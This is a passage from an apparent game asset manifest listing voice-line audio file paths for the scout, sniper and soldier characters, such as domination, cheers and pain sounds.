+vo/scout_cartstoppedoffense02.wav +vo/scout_cartstoppedoffense03.wav +vo/scout_cheers01.wav +vo/scout_cheers02.wav +vo/scout_cheers03.wav +vo/scout_cheers04.wav +vo/scout_cheers05.wav +vo/scout_cheers06.wav +vo/scout_cloakedspy01.wav +vo/scout_cloakedspy02.wav +vo/scout_cloakedspy03.wav +vo/scout_cloakedspy04.wav +vo/scout_cloakedspyidentify01.wav +vo/scout_cloakedspyidentify02.wav +vo/scout_cloakedspyidentify03.wav +vo/scout_cloakedspyidentify04.wav +vo/scout_cloakedspyidentify05.wav +vo/scout_cloakedspyidentify06.wav +vo/scout_cloakedspyidentify07.wav +vo/scout_cloakedspyidentify08.wav +vo/scout_cloakedspyidentify09.wav +vo/scout_domination01.wav +vo/scout_domination02.wav +vo/scout_domination03.wav +vo/scout_domination04.wav +vo/scout_domination05.wav +vo/scout_domination06.wav +vo/scout_domination07.wav +vo/scout_domination08.wav +vo/scout_domination09.wav +vo/scout_domination10.wav +vo/scout_domination12.wav +vo/scout_domination13.wav +vo/scout_domination14.wav +vo/scout_domination15.wav +vo/scout_domination16.wav +vo/scout_domination17.wav +vo/scout_domination19.wav +vo/scout_domination20.wav +vo/scout_domination21.wav +vo/scout_dominationdem01.wav +vo/scout_dominationdem02.wav +vo/scout_dominationdem03.wav +vo/scout_dominationdem04.wav +vo/scout_dominationdem05.wav +vo/scout_dominationeng01.wav +vo/scout_dominationeng02.wav +vo/scout_dominationeng03.wav +vo/scout_dominationeng04.wav +vo/scout_dominationeng05.wav +vo/scout_dominationeng06.wav +vo/scout_dominationhvy01.wav +vo/scout_dominationhvy02.wav +vo/scout_dominationhvy03.wav +vo/scout_dominationhvy04.wav +vo/scout_dominationhvy05.wav +vo/scout_dominationhvy06.wav +vo/scout_dominationhvy07.wav +vo/scout_dominationhvy08.wav +vo/scout_dominationhvy09.wav +vo/scout_dominationhvy10.wav +vo/scout_dominationmed01.wav +vo/scout_dominationmed02.wav +vo/scout_dominationmed03.wav +vo/scout_dominationmed04.wav +vo/scout_dominationmed05.wav +vo/scout_dominationmed06.wav +vo/scout_dominationpyr01.wav +vo/scout_dominationpyr02.wav +vo/scout_dominationpyr03.wav +vo/scout_dominationpyr04.wav +vo/scout_dominationpyr05.wav +vo/scout_dominationpyr06.wav +vo/scout_dominationsct01.wav +vo/scout_dominationsct02.wav +vo/scout_dominationsct03.wav +vo/scout_dominationsnp01.wav +vo/scout_dominationsnp02.wav +vo/scout_dominationsnp03.wav +vo/scout_dominationsnp04.wav +vo/scout_dominationsnp05.wav +vo/scout_dominationsol01.wav +vo/scout_dominationsol02.wav +vo/scout_dominationsol03.wav +vo/scout_dominationsol04.wav +vo/scout_dominationsol05.wav +vo/scout_dominationsol06.wav +vo/scout_dominationspy01.wav +vo/scout_dominationspy02.wav +vo/scout_dominationspy03.wav +vo/scout_dominationspy04.wav +vo/scout_fightoncap01.wav +vo/scout_fightoncap02.wav +vo/scout_fightoncap03.wav +vo/scout_fightoncap04.wav +vo/scout_generic01.wav +vo/scout_go01.wav +vo/scout_go02.wav +vo/scout_go03.wav +vo/scout_go04.wav +vo/scout_goodjob01.wav +vo/scout_goodjob02.wav +vo/scout_goodjob03.wav +vo/scout_goodjob04.wav +vo/scout_headleft01.wav +vo/scout_headleft02.wav +vo/scout_headleft03.wav +vo/scout_headright01.wav +vo/scout_headright02.wav +vo/scout_headright03.wav +vo/scout_helpme01.wav +vo/scout_helpme02.wav +vo/scout_helpme03.wav +vo/scout_helpme04.wav +vo/scout_helpmecapture01.wav +vo/scout_helpmecapture02.wav +vo/scout_helpmecapture03.wav +vo/scout_helpmedefend01.wav +vo/scout_helpmedefend02.wav +vo/scout_helpmedefend03.wav +vo/scout_incoming01.wav +vo/scout_incoming02.wav +vo/scout_incoming03.wav +vo/scout_invincible01.wav +vo/scout_invincible02.wav +vo/scout_invincible03.wav +vo/scout_invincible04.wav +vo/scout_invinciblechgunderfire01.wav +vo/scout_invinciblechgunderfire02.wav +vo/scout_invinciblechgunderfire03.wav +vo/scout_invinciblechgunderfire04.wav +vo/scout_invinciblenotready01.wav +vo/scout_invinciblenotready02.wav +vo/scout_invinciblenotready03.wav +vo/scout_invinciblenotready05.wav +vo/scout_invinciblenotready06.wav +vo/scout_invinciblenotready07.wav +vo/scout_jeers02.wav +vo/scout_jeers03.wav +vo/scout_jeers04.wav +vo/scout_jeers05.wav +vo/scout_jeers06.wav +vo/scout_jeers07.wav +vo/scout_jeers08.wav +vo/scout_jeers09.wav +vo/scout_jeers10.wav +vo/scout_jeers11.wav +vo/scout_jeers12.wav +vo/scout_laughevil01.wav +vo/scout_laughevil02.wav +vo/scout_laughevil03.wav +vo/scout_laughhappy01.wav +vo/scout_laughhappy02.wav +vo/scout_laughhappy03.wav +vo/scout_laughhappy04.wav +vo/scout_laughlong01.wav +vo/scout_laughlong02.wav +vo/scout_laughshort01.wav +vo/scout_laughshort02.wav +vo/scout_laughshort03.wav +vo/scout_laughshort04.wav +vo/scout_laughshort05.wav +vo/scout_medic01.wav +vo/scout_medic02.wav +vo/scout_medic03.wav +vo/scout_medicfollow01.wav +vo/scout_medicfollow02.wav +vo/scout_medicfollow03.wav +vo/scout_medicfollow04.wav +vo/scout_meleedare01.wav +vo/scout_meleedare02.wav +vo/scout_meleedare03.wav +vo/scout_meleedare04.wav +vo/scout_meleedare05.wav +vo/scout_meleedare06.wav +vo/scout_misc02.wav +vo/scout_misc03.wav +vo/scout_misc04.wav +vo/scout_misc05.wav +vo/scout_misc07.wav +vo/scout_misc08.wav +vo/scout_misc09.wav +vo/scout_moveup01.wav +vo/scout_moveup02.wav +vo/scout_moveup03.wav +vo/scout_needdispenser01.wav +vo/scout_needsentry01.wav +vo/scout_needteleporter01.wav +vo/scout_negativevocalization01.wav +vo/scout_negativevocalization02.wav +vo/scout_negativevocalization03.wav +vo/scout_negativevocalization04.wav +vo/scout_negativevocalization05.wav +vo/scout_niceshot01.wav +vo/scout_niceshot02.wav +vo/scout_niceshot03.wav +vo/scout_no01.wav +vo/scout_no02.wav +vo/scout_no03.wav +vo/scout_paincrticialdeath01.wav +vo/scout_paincrticialdeath02.wav +vo/scout_paincrticialdeath03.wav +vo/scout_painsevere01.wav +vo/scout_painsevere02.wav +vo/scout_painsevere03.wav +vo/scout_painsevere04.wav +vo/scout_painsevere05.wav +vo/scout_painsevere06.wav +vo/scout_painsharp01.wav +vo/scout_painsharp02.wav +vo/scout_painsharp03.wav +vo/scout_painsharp04.wav +vo/scout_painsharp05.wav +vo/scout_painsharp06.wav +vo/scout_painsharp07.wav +vo/scout_painsharp08.wav +vo/scout_positivevocalization01.wav +vo/scout_positivevocalization02.wav +vo/scout_positivevocalization03.wav +vo/scout_positivevocalization04.wav +vo/scout_positivevocalization05.wav +vo/scout_revenge01.wav +vo/scout_revenge02.wav +vo/scout_revenge03.wav +vo/scout_revenge04.wav +vo/scout_revenge05.wav +vo/scout_revenge06.wav +vo/scout_revenge07.wav +vo/scout_revenge08.wav +vo/scout_revenge09.wav +vo/scout_sentryahead01.wav +vo/scout_sentryahead02.wav +vo/scout_sentryahead03.wav +vo/scout_specialcompleted-assistedkill01.wav +vo/scout_specialcompleted-assistedkill02.wav +vo/scout_specialcompleted01.wav +vo/scout_specialcompleted02.wav +vo/scout_specialcompleted03.wav +vo/scout_specialcompleted04.wav +vo/scout_specialcompleted05.wav +vo/scout_specialcompleted06.wav +vo/scout_specialcompleted07.wav +vo/scout_specialcompleted09.wav +vo/scout_specialcompleted10.wav +vo/scout_specialcompleted11.wav +vo/scout_specialcompleted12.wav +vo/scout_standonthepoint01.wav +vo/scout_standonthepoint02.wav +vo/scout_standonthepoint03.wav +vo/scout_standonthepoint04.wav +vo/scout_standonthepoint05.wav +vo/scout_stunballhit01.wav +vo/scout_stunballhit02.wav +vo/scout_stunballhit03.wav +vo/scout_stunballhit04.wav +vo/scout_stunballhit05.wav +vo/scout_stunballhit06.wav +vo/scout_stunballhit07.wav +vo/scout_stunballhit08.wav +vo/scout_stunballhit09.wav +vo/scout_stunballhit10.wav +vo/scout_stunballhit11.wav +vo/scout_stunballhit12.wav +vo/scout_stunballhit13.wav +vo/scout_stunballhit14.wav +vo/scout_stunballhit15.wav +vo/scout_stunballhit16.wav +vo/scout_stunballhittingit01.wav +vo/scout_stunballhittingit02.wav +vo/scout_stunballhittingit04.wav +vo/scout_stunballhittingit05.wav +vo/scout_stunballpickup01.wav +vo/scout_stunballpickup02.wav +vo/scout_stunballpickup03.wav +vo/scout_stunballpickup04.wav +vo/scout_stunballpickup05.wav +vo/scout_thanks01.wav +vo/scout_thanks02.wav +vo/scout_thanksfortheheal01.wav +vo/scout_thanksfortheheal02.wav +vo/scout_thanksfortheheal03.wav +vo/scout_thanksfortheteleporter01.wav +vo/scout_thanksfortheteleporter02.wav +vo/scout_thanksfortheteleporter03.wav +vo/scout_triplejump01.wav +vo/scout_triplejump02.wav +vo/scout_triplejump03.wav +vo/scout_triplejump04.wav +vo/scout_yes01.wav +vo/scout_yes02.wav +vo/scout_yes03.wav +vo/sniper_activatecharge01.wav +vo/sniper_activatecharge02.wav +vo/sniper_activatecharge03.wav +vo/sniper_activatecharge04.wav +vo/sniper_autocappedcontrolpoint01.wav +vo/sniper_autocappedcontrolpoint02.wav +vo/sniper_autocappedcontrolpoint03.wav +vo/sniper_autocappedintelligence01.wav +vo/sniper_autocappedintelligence02.wav +vo/sniper_autocappedintelligence03.wav +vo/sniper_autocappedintelligence04.wav +vo/sniper_autocappedintelligence05.wav +vo/sniper_autodejectedtie01.wav +vo/sniper_autodejectedtie02.wav +vo/sniper_autodejectedtie03.wav +vo/sniper_autoonfire01.wav +vo/sniper_autoonfire02.wav +vo/sniper_autoonfire03.wav +vo/sniper_award01.wav +vo/sniper_award02.wav +vo/sniper_award03.wav +vo/sniper_award04.wav +vo/sniper_award05.wav +vo/sniper_award06.wav +vo/sniper_award07.wav +vo/sniper_award08.wav +vo/sniper_award09.wav +vo/sniper_award10.wav +vo/sniper_award11.wav +vo/sniper_award12.wav +vo/sniper_award13.wav +vo/sniper_award14.wav +vo/sniper_battlecry01.wav +vo/sniper_battlecry02.wav +vo/sniper_battlecry03.wav +vo/sniper_battlecry04.wav +vo/sniper_battlecry05.wav +vo/sniper_battlecry06.wav +vo/sniper_cartgoingbackdefense01.wav +vo/sniper_cartgoingbackdefense02.wav +vo/sniper_cartgoingbackdefense03.wav +vo/sniper_cartgoingbackdefense04.wav +vo/sniper_cartgoingbackdefense05.wav +vo/sniper_cartgoingbackdefense06.wav +vo/sniper_cartgoingbackdefense07.wav +vo/sniper_cartgoingbackdefense08.wav +vo/sniper_cartgoingbackdefensesoft01.wav +vo/sniper_cartgoingbackdefensesoft02.wav +vo/sniper_cartgoingbackdefensesoft03.wav +vo/sniper_cartgoingbackdefensesoft04.wav +vo/sniper_cartgoingbackdefensesoft05.wav +vo/sniper_cartgoingbackdefensesoft06.wav +vo/sniper_cartgoingbackdefensesoft07.wav +vo/sniper_cartgoingbackdefensesoft08.wav +vo/sniper_cartgoingbackoffense01.wav +vo/sniper_cartgoingbackoffense02.wav +vo/sniper_cartgoingbackoffense03.wav +vo/sniper_cartgoingbackoffense04.wav +vo/sniper_cartgoingbackoffense05.wav +vo/sniper_cartgoingbackoffense06.wav +vo/sniper_cartgoingbackoffense07.wav +vo/sniper_cartgoingbackoffensesoft01.wav +vo/sniper_cartgoingbackoffensesoft02.wav +vo/sniper_cartgoingbackoffensesoft03.wav +vo/sniper_cartgoingbackoffensesoft04.wav +vo/sniper_cartgoingbackoffensesoft05.wav +vo/sniper_cartgoingbackoffensesoft06.wav +vo/sniper_cartgoingbackoffensesoft07.wav +vo/sniper_cartmovingforwarddefense01.wav +vo/sniper_cartmovingforwarddefense02.wav +vo/sniper_cartmovingforwarddefense03.wav +vo/sniper_cartmovingforwarddefense04.wav +vo/sniper_cartmovingforwarddefense05.wav +vo/sniper_cartmovingforwarddefense06.wav +vo/sniper_cartmovingforwarddefensesoft01.wav +vo/sniper_cartmovingforwarddefensesoft02.wav +vo/sniper_cartmovingforwarddefensesoft03.wav +vo/sniper_cartmovingforwarddefensesoft04.wav +vo/sniper_cartmovingforwarddefensesoft05.wav +vo/sniper_cartmovingforwarddefensesoft06.wav +vo/sniper_cartmovingforwardoffense01.wav +vo/sniper_cartmovingforwardoffense02.wav +vo/sniper_cartmovingforwardoffense03.wav +vo/sniper_cartmovingforwardoffense04.wav +vo/sniper_cartmovingforwardoffense05.wav +vo/sniper_cartmovingforwardoffense06.wav +vo/sniper_cartmovingforwardoffense07.wav +vo/sniper_cartmovingforwardoffense08.wav +vo/sniper_cartmovingforwardoffense09.wav +vo/sniper_cartmovingforwardoffense10.wav +vo/sniper_cartmovingforwardoffensesoft01.wav +vo/sniper_cartmovingforwardoffensesoft02.wav +vo/sniper_cartmovingforwardoffensesoft03.wav +vo/sniper_cartmovingforwardoffensesoft04.wav +vo/sniper_cartmovingforwardoffensesoft05.wav +vo/sniper_cartmovingforwardoffensesoft06.wav +vo/sniper_cartmovingforwardoffensesoft07.wav +vo/sniper_cartmovingforwardoffensesoft08.wav +vo/sniper_cartmovingforwardoffensesoft09.wav +vo/sniper_cartmovingforwardoffensesoft10.wav +vo/sniper_cartstaycloseoffense01.wav +vo/sniper_cartstaycloseoffense02.wav +vo/sniper_cartstaycloseoffense03.wav +vo/sniper_cartstaycloseoffense04.wav +vo/sniper_cartstaycloseoffense05.wav +vo/sniper_cartstaycloseoffense06.wav +vo/sniper_cartstaycloseoffense07.wav +vo/sniper_cartstaycloseoffensesoft01.wav +vo/sniper_cartstaycloseoffensesoft02.wav +vo/sniper_cartstaycloseoffensesoft03.wav +vo/sniper_cartstaycloseoffensesoft04.wav +vo/sniper_cartstaycloseoffensesoft05.wav +vo/sniper_cartstaycloseoffensesoft06.wav +vo/sniper_cartstaycloseoffensesoft07.wav +vo/sniper_cartstopitdefense01.wav +vo/sniper_cartstopitdefense02.wav +vo/sniper_cartstopitdefense03.wav +vo/sniper_cartstopitdefense04.wav +vo/sniper_cartstopitdefense05.wav +vo/sniper_cartstopitdefense06.wav +vo/sniper_cartstopitdefensesoft01.wav +vo/sniper_cartstopitdefensesoft02.wav +vo/sniper_cartstopitdefensesoft03.wav +vo/sniper_cartstopitdefensesoft04.wav +vo/sniper_cartstopitdefensesoft06.wav +vo/sniper_cartstoppedoffense01.wav +vo/sniper_cartstoppedoffense02.wav +vo/sniper_cartstoppedoffense03.wav +vo/sniper_cartstoppedoffense04.wav +vo/sniper_cartstoppedoffense05.wav +vo/sniper_cartstoppedoffensesoft01.wav +vo/sniper_cartstoppedoffensesoft02.wav +vo/sniper_cartstoppedoffensesoft03.wav +vo/sniper_cartstoppedoffensesoft04.wav +vo/sniper_cartstoppedoffensesoft05.wav +vo/sniper_cheers01.wav +vo/sniper_cheers02.wav +vo/sniper_cheers03.wav +vo/sniper_cheers04.wav +vo/sniper_cheers05.wav +vo/sniper_cheers06.wav +vo/sniper_cheers07.wav +vo/sniper_cheers08.wav +vo/sniper_cloakedspy01.wav +vo/sniper_cloakedspy02.wav +vo/sniper_cloakedspy03.wav +vo/sniper_cloakedspyidentify01.wav +vo/sniper_cloakedspyidentify02.wav +vo/sniper_cloakedspyidentify03.wav +vo/sniper_cloakedspyidentify04.wav +vo/sniper_cloakedspyidentify05.wav +vo/sniper_cloakedspyidentify06.wav +vo/sniper_cloakedspyidentify07.wav +vo/sniper_cloakedspyidentify08.wav +vo/sniper_cloakedspyidentify09.wav +vo/sniper_domination01.wav +vo/sniper_domination02.wav +vo/sniper_domination03.wav +vo/sniper_domination04.wav +vo/sniper_domination05.wav +vo/sniper_domination06.wav +vo/sniper_domination07.wav +vo/sniper_domination08.wav +vo/sniper_domination09.wav +vo/sniper_domination10.wav +vo/sniper_domination11.wav +vo/sniper_domination12.wav +vo/sniper_domination13.wav +vo/sniper_domination14.wav +vo/sniper_domination15.wav +vo/sniper_domination16.wav +vo/sniper_domination17.wav +vo/sniper_domination18.wav +vo/sniper_domination19.wav +vo/sniper_domination20.wav +vo/sniper_domination21.wav +vo/sniper_domination22.wav +vo/sniper_domination23.wav +vo/sniper_domination24.wav +vo/sniper_domination25.wav +vo/sniper_DominationDemoMan01.wav +vo/sniper_DominationDemoMan02.wav +vo/sniper_DominationDemoMan03.wav +vo/sniper_DominationDemoMan04.wav +vo/sniper_DominationDemoMan05.wav +vo/sniper_DominationEngineer01.wav +vo/sniper_DominationEngineer02.wav +vo/sniper_DominationEngineer03.wav +vo/sniper_DominationEngineer04.wav +vo/sniper_DominationEngineer05.wav +vo/sniper_DominationEngineer06.wav +vo/sniper_DominationHeavy01.wav +vo/sniper_DominationHeavy02.wav +vo/sniper_DominationHeavy03.wav +vo/sniper_DominationHeavy04.wav +vo/sniper_DominationHeavy05.wav +vo/sniper_DominationHeavy06.wav +vo/sniper_DominationHeavy07.wav +vo/sniper_DominationMedic01.wav +vo/sniper_DominationMedic02.wav +vo/sniper_DominationMedic03.wav +vo/sniper_DominationMedic04.wav +vo/sniper_DominationMedic05.wav +vo/sniper_DominationPyro01.wav +vo/sniper_DominationPyro02.wav +vo/sniper_DominationPyro03.wav +vo/sniper_DominationPyro04.wav +vo/sniper_DominationPyro05.wav +vo/sniper_DominationScout01.wav +vo/sniper_DominationScout02.wav +vo/sniper_DominationScout03.wav +vo/sniper_DominationScout04.wav +vo/sniper_DominationScout05.wav +vo/sniper_DominationSniper18.wav +vo/sniper_DominationSniper19.wav +vo/sniper_DominationSniper20.wav +vo/sniper_DominationSniper21.wav +vo/sniper_DominationSniper22.wav +vo/sniper_DominationSoldier01.wav +vo/sniper_DominationSoldier02.wav +vo/sniper_DominationSoldier03.wav +vo/sniper_DominationSoldier04.wav +vo/sniper_DominationSoldier05.wav +vo/sniper_DominationSoldier06.wav +vo/sniper_DominationSpy01.wav +vo/sniper_DominationSpy02.wav +vo/sniper_DominationSpy03.wav +vo/sniper_DominationSpy04.wav +vo/sniper_DominationSpy05.wav +vo/sniper_DominationSpy06.wav +vo/sniper_DominationSpy07.wav +vo/sniper_fightoncap01.wav +vo/sniper_fightoncap02.wav +vo/sniper_fightoncap03.wav +vo/sniper_fightoncap04.wav +vo/sniper_fightoncap05.wav +vo/sniper_fightoncap06.wav +vo/sniper_go01.wav +vo/sniper_go02.wav +vo/sniper_go03.wav +vo/sniper_goodjob01.wav +vo/sniper_goodjob02.wav +vo/sniper_goodjob03.wav +vo/sniper_headleft01.wav +vo/sniper_headleft02.wav +vo/sniper_headleft03.wav +vo/sniper_headright01.wav +vo/sniper_headright02.wav +vo/sniper_headright03.wav +vo/sniper_helpme01.wav +vo/sniper_helpme02.wav +vo/sniper_helpme03.wav +vo/sniper_helpmecapture01.wav +vo/sniper_helpmecapture02.wav +vo/sniper_helpmecapture03.wav +vo/sniper_helpmedefend01.wav +vo/sniper_helpmedefend02.wav +vo/sniper_helpmedefend03.wav +vo/sniper_incoming01.wav +vo/sniper_incoming02.wav +vo/sniper_incoming03.wav +vo/sniper_incoming04.wav +vo/sniper_JarateToss01.wav +vo/sniper_JarateToss02.wav +vo/sniper_JarateToss03.wav +vo/sniper_jeers01.wav +vo/sniper_jeers02.wav +vo/sniper_jeers03.wav +vo/sniper_jeers04.wav +vo/sniper_jeers05.wav +vo/sniper_jeers06.wav +vo/sniper_jeers07.wav +vo/sniper_jeers08.wav +vo/sniper_laughevil01.wav +vo/sniper_laughevil02.wav +vo/sniper_laughevil03.wav +vo/sniper_laughhappy01.wav +vo/sniper_laughhappy02.wav +vo/sniper_laughlong01.wav +vo/sniper_laughlong02.wav +vo/sniper_laughshort01.wav +vo/sniper_laughshort02.wav +vo/sniper_laughshort03.wav +vo/sniper_laughshort04.wav +vo/sniper_laughshort05.wav +vo/sniper_medic01.wav +vo/sniper_medic02.wav +vo/sniper_medicfollow01.wav +vo/sniper_medicfollow02.wav +vo/sniper_medicfollow03.wav +vo/sniper_medicfollow04.wav +vo/sniper_medicfollow05.wav +vo/sniper_meleedare01.wav +vo/sniper_meleedare02.wav +vo/sniper_meleedare03.wav +vo/sniper_meleedare04.wav +vo/sniper_meleedare05.wav +vo/sniper_meleedare06.wav +vo/sniper_meleedare07.wav +vo/sniper_meleedare08.wav +vo/sniper_meleedare09.wav +vo/sniper_moveup01.wav +vo/sniper_moveup02.wav +vo/sniper_needdispenser01.wav +vo/sniper_needsentry01.wav +vo/sniper_needteleporter01.wav +vo/sniper_negativevocalization01.wav +vo/sniper_negativevocalization02.wav +vo/sniper_negativevocalization03.wav +vo/sniper_negativevocalization04.wav +vo/sniper_negativevocalization05.wav +vo/sniper_negativevocalization06.wav +vo/sniper_negativevocalization07.wav +vo/sniper_negativevocalization08.wav +vo/sniper_negativevocalization09.wav +vo/sniper_niceshot01.wav +vo/sniper_niceshot02.wav +vo/sniper_niceshot03.wav +vo/sniper_no01.wav +vo/sniper_no02.wav +vo/sniper_no03.wav +vo/sniper_no04.wav +vo/sniper_paincrticialdeath01.wav +vo/sniper_paincrticialdeath02.wav +vo/sniper_paincrticialdeath03.wav +vo/sniper_paincrticialdeath04.wav +vo/sniper_painsevere01.wav +vo/sniper_painsevere02.wav +vo/sniper_painsevere03.wav +vo/sniper_painsevere04.wav +vo/sniper_painsharp01.wav +vo/sniper_painsharp02.wav +vo/sniper_painsharp03.wav +vo/sniper_painsharp04.wav +vo/sniper_positivevocalization01.wav +vo/sniper_positivevocalization02.wav +vo/sniper_positivevocalization03.wav +vo/sniper_positivevocalization04.wav +vo/sniper_positivevocalization05.wav +vo/sniper_positivevocalization06.wav +vo/sniper_positivevocalization07.wav +vo/sniper_positivevocalization08.wav +vo/sniper_positivevocalization09.wav +vo/sniper_positivevocalization10.wav +vo/sniper_revenge01.wav +vo/sniper_revenge02.wav +vo/sniper_revenge03.wav +vo/sniper_revenge04.wav +vo/sniper_revenge05.wav +vo/sniper_revenge06.wav +vo/sniper_revenge07.wav +vo/sniper_revenge08.wav +vo/sniper_revenge09.wav +vo/sniper_revenge10.wav +vo/sniper_revenge11.wav +vo/sniper_revenge12.wav +vo/sniper_revenge13.wav +vo/sniper_revenge14.wav +vo/sniper_revenge15.wav +vo/sniper_revenge16.wav +vo/sniper_revenge17.wav +vo/sniper_revenge18.wav +vo/sniper_revenge19.wav +vo/sniper_revenge20.wav +vo/sniper_revenge21.wav +vo/sniper_revenge22.wav +vo/sniper_revenge23.wav +vo/sniper_revenge24.wav +vo/sniper_revenge25.wav +vo/sniper_sentryahead01.wav +vo/sniper_specialcompleted-assistedkill01.wav +vo/sniper_specialcompleted-assistedkill02.wav +vo/sniper_specialcompleted01.wav +vo/sniper_specialcompleted02.wav +vo/sniper_specialcompleted03.wav +vo/sniper_specialcompleted04.wav +vo/sniper_specialcompleted05.wav +vo/sniper_specialcompleted06.wav +vo/sniper_specialcompleted07.wav +vo/sniper_specialcompleted08.wav +vo/sniper_specialcompleted09.wav +vo/sniper_specialcompleted10.wav +vo/sniper_specialcompleted11.wav +vo/sniper_specialcompleted12.wav +vo/sniper_specialcompleted13.wav +vo/sniper_specialcompleted14.wav +vo/sniper_specialcompleted15.wav +vo/sniper_specialcompleted16.wav +vo/sniper_specialcompleted17.wav +vo/sniper_specialcompleted18.wav +vo/sniper_specialcompleted19.wav +vo/sniper_specialcompleted20.wav +vo/sniper_specialcompleted21.wav +vo/sniper_specialcompleted22.wav +vo/sniper_specialcompleted23.wav +vo/sniper_specialcompleted24.wav +vo/sniper_specialcompleted25.wav +vo/sniper_specialcompleted26.wav +vo/sniper_specialcompleted27.wav +vo/sniper_specialcompleted28.wav +vo/sniper_specialcompleted29.wav +vo/sniper_specialcompleted30.wav +vo/sniper_specialcompleted31.wav +vo/sniper_specialcompleted32.wav +vo/sniper_specialcompleted33.wav +vo/sniper_specialcompleted34.wav +vo/sniper_specialcompleted35.wav +vo/sniper_specialcompleted36.wav +vo/sniper_specialcompleted37.wav +vo/sniper_specialcompleted38.wav +vo/sniper_specialcompleted39.wav +vo/sniper_specialcompleted40.wav +vo/sniper_specialcompleted41.wav +vo/sniper_specialcompleted42.wav +vo/sniper_specialcompleted43.wav +vo/sniper_specialcompleted44.wav +vo/sniper_specialcompleted45.wav +vo/sniper_specialcompleted46.wav +vo/sniper_specialweapon01.wav +vo/sniper_specialweapon02.wav +vo/sniper_specialweapon03.wav +vo/sniper_specialweapon04.wav +vo/sniper_specialweapon05.wav +vo/sniper_specialweapon06.wav +vo/sniper_specialweapon07.wav +vo/sniper_specialweapon08.wav +vo/sniper_specialweapon09.wav +vo/sniper_standonthepoint01.wav +vo/sniper_standonthepoint02.wav +vo/sniper_thanks01.wav +vo/sniper_thanks02.wav +vo/sniper_thanksfortheheal01.wav +vo/sniper_thanksfortheheal02.wav +vo/sniper_thanksfortheheal03.wav +vo/sniper_thanksfortheteleporter01.wav +vo/sniper_thanksfortheteleporter02.wav +vo/sniper_thanksfortheteleporter03.wav +vo/sniper_yes01.wav +vo/sniper_yes02.wav +vo/sniper_yes03.wav +vo/soldier_activatecharge01.wav +vo/soldier_activatecharge02.wav +vo/soldier_activatecharge03.wav +vo/soldier_autocappedcontrolpoint01.wav +vo/soldier_autocappedcontrolpoint02.wav +vo/soldier_autocappedcontrolpoint03.wav +vo/soldier_autocappedintelligence01.wav +vo/soldier_autocappedintelligence02.wav +vo/soldier_autocappedintelligence03.wav +vo/soldier_autodejectedtie01.wav +vo/soldier_autodejectedtie02.wav +vo/soldier_autodejectedtie03.wav +vo/soldier_autoonfire01.wav +vo/soldier_autoonfire02.wav +vo/soldier_autoonfire03.wav +vo/soldier_battlecry01.wav +vo/soldier_battlecry02.wav +vo/soldier_battlecry03.wav +vo/soldier_battlecry04.wav +vo/soldier_battlecry05.wav +vo/soldier_battlecry06.wav +vo/soldier_cheers01.wav +vo/soldier_cheers02.wav +vo/soldier_cheers03.wav +vo/soldier_cheers04.wav +vo/soldier_cheers05.wav +vo/soldier_cheers06.wav +vo/soldier_cloakedspy01.wav +vo/soldier_cloakedspy02.wav +vo/soldier_cloakedspy03.wav +vo/soldier_cloakedspyidentify01.wav +vo/soldier_cloakedspyidentify02.wav +vo/soldier_cloakedspyidentify03.wav +vo/soldier_cloakedspyidentify04.wav +vo/soldier_cloakedspyidentify05.wav +vo/soldier_cloakedspyidentify06.wav +vo/soldier_cloakedspyidentify07.wav +vo/soldier_cloakedspyidentify08.wav +vo/soldier_cloakedspyidentify09.wav +vo/soldier_DirectHitTaunt01.wav +vo/soldier_DirectHitTaunt02.wav +vo/soldier_DirectHitTaunt03.wav +vo/soldier_DirectHitTaunt04.wav +vo/soldier_DominationDemoman01.wav +vo/soldier_DominationDemoman02.wav +vo/soldier_DominationDemoman03.wav +vo/soldier_DominationDemoman04.wav +vo/soldier_DominationDemoman05.wav +vo/soldier_DominationDemoman06.wav +vo/soldier_DominationEngineer01.wav +vo/soldier_DominationEngineer02.wav +vo/soldier_DominationEngineer03.wav +vo/soldier_DominationEngineer04.wav +vo/soldier_DominationEngineer05.wav +vo/soldier_DominationEngineer06.wav +vo/soldier_DominationHeavy01.wav +vo/soldier_DominationHeavy02.wav +vo/soldier_DominationHeavy03.wav +vo/soldier_DominationHeavy04.wav +vo/soldier_DominationHeavy05.wav +vo/soldier_DominationHeavy06.wav +vo/soldier_DominationHeavy07.wav +vo/soldier_DominationMedic01.wav +vo/soldier_DominationMedic02.wav +vo/soldier_DominationMedic03.wav +vo/soldier_DominationMedic04.wav +vo/soldier_DominationMedic05.wav +vo/soldier_DominationMedic06.wav +vo/soldier_DominationMedic07.wav +vo/soldier_DominationPyro01.wav +vo/soldier_DominationPyro02.wav +vo/soldier_DominationPyro03.wav +vo/soldier_DominationPyro04.wav +vo/soldier_DominationPyro05.wav +vo/soldier_DominationPyro06.wav +vo/soldier_DominationPyro07.wav +vo/soldier_DominationPyro08.wav +vo/soldier_DominationPyro09.wav +vo/soldier_DominationScout01.wav +vo/soldier_DominationScout02.wav +vo/soldier_DominationScout03.wav +vo/soldier_DominationScout04.wav +vo/soldier_DominationScout05.wav +vo/soldier_DominationScout06.wav +vo/soldier_DominationScout07.wav +vo/soldier_DominationScout08.wav +vo/soldier_DominationScout09.wav +vo/soldier_DominationScout10.wav +vo/soldier_DominationScout11.wav +vo/soldier_DominationSniper01.wav +vo/soldier_DominationSniper02.wav +vo/soldier_DominationSniper03.wav +vo/soldier_DominationSniper04.wav +vo/soldier_DominationSniper05.wav +vo/soldier_DominationSniper06.wav +vo/soldier_DominationSniper07.wav +vo/soldier_DominationSniper08.wav +vo/soldier_DominationSniper09.wav +vo/soldier_DominationSniper10.wav +vo/soldier_DominationSniper11.wav +vo/soldier_DominationSniper12.wav +vo/soldier_DominationSniper13.wav +vo/soldier_DominationSniper14.wav +vo/soldier_DominationSoldier01.wav +vo/soldier_DominationSoldier02.wav +vo/soldier_DominationSoldier03.wav +vo/soldier_DominationSoldier04.wav +vo/soldier_DominationSoldier05.wav +vo/soldier_DominationSoldier06.wav +vo/soldier_DominationSpy01.wav +vo/soldier_DominationSpy02.wav +vo/soldier_DominationSpy03.wav +vo/soldier_DominationSpy04.wav +vo/soldier_DominationSpy05.wav +vo/soldier_DominationSpy06.wav +vo/soldier_DominationSpy07.wav +vo/soldier_DominationSpy08.wav +vo/soldier_go01.wav +vo/soldier_go02.wav +vo/soldier_go03.wav +vo/soldier_goodjob01.wav +vo/soldier_goodjob02.wav +vo/soldier_goodjob03.wav +vo/soldier_HatOverHeartTaunt01.wav +vo/soldier_HatOverHeartTaunt02.wav +vo/soldier_HatOverHeartTaunt03.wav +vo/soldier_HatOverHeartTaunt04.wav +vo/soldier_HatOverHeartTaunt05.wav 